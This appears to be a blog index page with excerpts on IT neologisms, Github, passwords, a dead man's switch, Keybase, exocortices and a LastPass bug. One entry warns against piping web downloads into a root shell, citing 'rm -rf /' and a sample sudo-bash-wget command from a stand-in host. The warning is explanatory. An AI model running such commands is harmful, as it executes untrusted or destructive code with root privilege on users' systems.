Neologism: Code Puce

  emergencies it neologisms software

code puce - noun phrase - An IT or ops situation in which the software installed in production is one version and the management system expects a different version.  This results in a situation in which everything is running more or less smoothly, and at the same time everything in the monitoring system is going bonkers.  Compare with code red, code blue, and so forth.

Neologism: Software installation roulette

  neologisms sysadmin software

software installation roulette - The practice of piping the output of a web browser or other HTTP tool directly through a system shell, usually as root to install something important.  The danger is that you don't know if the shell script has anything nefarious in it (such as rm -rf / or the installation of a rootkit) and by the time you find out it's far too late.

For example: sudo bash -c "$(wget -q -O- https://totally.legit.example.com/install.sh)"

If Microsoft buys Github, there are alternatives.

  consequences github implications microsoft open_source software alternatives git fossil

If you're plugged into the open source or business communities to any degree, you've probably heard buzz that Microsoft is considering buying Github, an online service with a history of having a toxic work environment due to pervasive sexual harassment but still remains the de facto core of collaboration of the open source community - source code hosting, ticket tracking, archival, release management, documentation, project webpage hosting, and generally learning how to use the Git version control system.  At this point it's unclear if they're considering merely investing in the company (currently valued in the neighborhood of $5bus) or buying it …

Generating passwords.

  github passwords security software links

A fact of life in the twenty-first century are data breaches - some site or other gets pwned and tends to hundreds of gigabytes of data get stolen.  If you're lucky just the usernames and passwords for the service have been taken; if you're not, credit card and banking information has been exfiltrated.  Good times.

You've probably wondered why stolen passwords are dangerous.  There are a few reasons for this: The first is that people tend to re-use passwords on multiple sites or services.  Coupled with the fact that many online services use e-mail addresses as usernames, this means that all …

Algorithm for implementing a dead man's switch.

  algorithms howto software dead_mans_switch emergencies

So, you're probably wondering why I'm posting this, because it's a bit off of my usual fare.  The reason is I think it would be useful to make available a fairly simple algorithm for implementing a general purpose dead man's switch in whatever language you want, which is to say a DMS that could conceivably do just about anything if it activated.

But what's a dead man's switch?  Ultimately, it's a mechanism that has to be manually engaged at all times if you want something to happen, and if that switch turns off for some reason, something else happens (like …

Keybase and Git.

  crypto git howto keybase software version_control

A couple of weeks ago a new release of the Keybase software package came out, and this one included as one of its new features support for natively hosting Git repositories.  This doesn't seem like it's very useful for most people, and it might really only be useful to coders, but it's a handy enough service that I think it's worth a quick tutorial.  Prior to that feature release something in the structure of the Keybase filesystem made it unsuitable for storing anything but static copies of Git repositories (I don't know exactly waht), but they've now made Git a …

Exocortices: A definition of a technology.

  components exocortex intelligence_enhancement software technology transhumanism reprint aspects

Originally published at Mondo 2000, 10 October 2017.

A common theme of science fiction in the transhumanist vein, and less commonly in applied (read: practical) transhumanist circles is the concept of having an exocortex either installed within oneself, or interfaced in some way with one's brain to augment one's intelligence.  To paint a picture with a fairly broad brush, an exocortex was a system postulated by JCR Licklider in the research paper Man-Computer Symbiosis which would implement a new lobe of the human brain which was situated outside of the organism (though some components of it might be internal).  An …

When using Lastpass with Google Chrome, occasionally it'll automatically log you out.

  software gotchas chrome lastpass wtf weird logout problem

Sometimes, very occasionally, when using the Lastpass plugin with Google Chrome, you may find that Lastpass will start acting wonky. Specifically, if you've had Chrome running for a couple of days, you will notice that Lastpass has logged you out, even if you're in an Incognito Window. When clicking on the browser plugin's icon, you will be able to log into it as usual; multifactor authentication will similiarly work as expected. If you wait a few seconds, the plugin's icon will go dark again. If you're quick and drop into "My Vault," you'll see that screen for a second or …
